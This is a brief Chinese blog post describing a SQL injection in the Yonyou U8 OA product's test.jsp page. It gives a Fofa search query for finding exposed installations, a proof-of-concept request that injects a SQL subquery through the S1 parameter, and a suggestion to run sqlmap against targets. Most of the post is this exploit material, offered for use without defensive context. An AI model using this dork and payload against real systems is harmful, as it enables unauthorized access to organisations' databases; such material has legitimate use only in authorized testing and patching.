用友U8 OA test.jsp SQL注入

Fofa："/yyoa/seeyonoa/common/" 、title="用友U8-OA"
img
POC验证

/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))

img
sqlmap跑一下

posted @ 2024-03-19 08:42  kalixcn  阅读(8)  评论(0)  编辑  收藏  举报